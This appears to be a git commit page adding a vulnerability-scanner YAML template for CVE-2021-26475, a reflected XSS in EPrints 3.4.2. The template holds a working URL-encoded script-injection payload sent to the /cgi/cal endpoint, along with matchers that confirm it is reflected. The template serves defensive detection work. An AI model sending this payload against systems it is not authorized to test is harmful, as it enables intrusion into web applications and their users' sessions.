Merge pull request #2096 from geeknik/patch-4

Create CVE-2021-26475.yaml
patch-1
Prince Chaddha 2021-07-20 11:53:45 +05:30 committed by GitHub
commit eb15971f16
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 24 additions and 0 deletions

View File

@ -0,0 +1,24 @@
id: CVE-2021-26475
info:
name: EPrints 3.4.2 XSS
author: geeknik
description: EPrints 3.4.2 exposes a reflected XSS opportunity in the via a cgi/cal URI.
reference: https://github.com/grymer/CVE/blob/master/eprints_security_review.pdf
severity: medium
tags: cve,cve2021,xss,eprints
requests:
- method: GET
path:
- "{{BaseURL}}/cgi/cal?year=2021%3C/title%3E%3Cscript%3Ealert(%27{{randstr}}%27)%3C/script%3E"
matchers-condition: and
matchers:
- type: word
words:
- "</title><script>alert('{{randstr}}')</script>"
- type: word
part: header
words:
- "text/html"